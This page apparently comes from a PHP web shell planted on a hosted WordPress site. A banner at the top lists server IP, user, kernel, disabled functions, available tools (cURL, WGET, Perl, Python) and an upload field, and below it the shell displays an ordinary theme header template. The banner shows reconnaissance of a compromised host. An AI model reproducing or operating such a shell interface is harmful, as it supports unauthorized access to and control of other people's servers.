Done !
| Server IP : 46.105.57.169 / Your IP : 216.73.216.67 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/geniouskin/wp-content/themes/ixlab/tmpl/ |
Upload File : |
<?php
/**
* The header sticky
*/
defined( 'ABSPATH' ) or die();
$contact_info = ixlab_option( 'header__info__text' );
$header_nav_extras = ixlab_option( 'header__extras' );
$sliding_sidebarLable = ixlab_option( 'sliding__sidebarLable' );
$header_classes = array( 'site-header-sticky' );
$header_classes[] = sprintf( 'header-style', ixlab_option( 'header__sticky__style' ) );
if ( ixlab_option( 'header__sticky__width' ) === 'on' ) {
$header_classes[] = 'header-full';
}
if ( ixlab_option( 'header__sticky__shadow' ) === 'on' ) {
$header_classes[] = 'header-shadow';
}
?>
<div id="site-header-sticky" class=" <?php echo esc_attr( join( ' ', $header_classes ) ) ?>">
<div class="site-header-inner wrap">
<?php if ( is_active_sidebar( 'off-canvas-left' ) ): ?>
<a href="javascript:;" data-target="off-canvas-left" class="off-canvas-toggle">
<span><?php echo ixlab_cleanup( $sliding_sidebarLable ) ?></span>
</a>
<?php endif; ?>
<div class="header-brand">
<a href="<?php echo esc_attr( home_url() ) ?>" class="brand">
<?php ixlab_logo( ixlab_option( 'header__sticky__logo' ) ) ?>
</a>
</div>
<nav class="navigator" itemscope="itemscope" itemtype="https://schema.org/SiteNavigationElement">
<?php if ( has_nav_menu( 'primary' ) ): ?>
<?php
wp_nav_menu(array(
'theme_location' => 'primary',
'container' => false,
'menu_class' => 'menu menu-primary',
'fallback_cb' => 'ixlab_page_menu',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'depth' => 0
));
?>
<?php endif ?>
</nav>
<div class="header-info-text"><?php if ( ! empty( $contact_info ) ): ?><?php echo do_shortcode( $contact_info ) ?><?php endif ?><?php ixlab_social_icons( array( 'location' => 'sticky' ) ) ?></div>
<?php if ( ! empty( $header_nav_extras ) ): ?>
<ul class="navigator menu-extras">
<?php foreach ( $header_nav_extras as $type ): ?>
<?php get_template_part( 'tmpl/header-icon', $type ); ?>
<?php endforeach ?>
</ul>
<?php endif ?>
<?php if ( has_nav_menu( 'sliding' ) ): ?>
<?php get_template_part( 'tmpl/header-sliding-toggle' ) ?>
<?php endif ?>
</div>
<!-- /.site-header-inner -->
</div>
<!-- /.site-header -->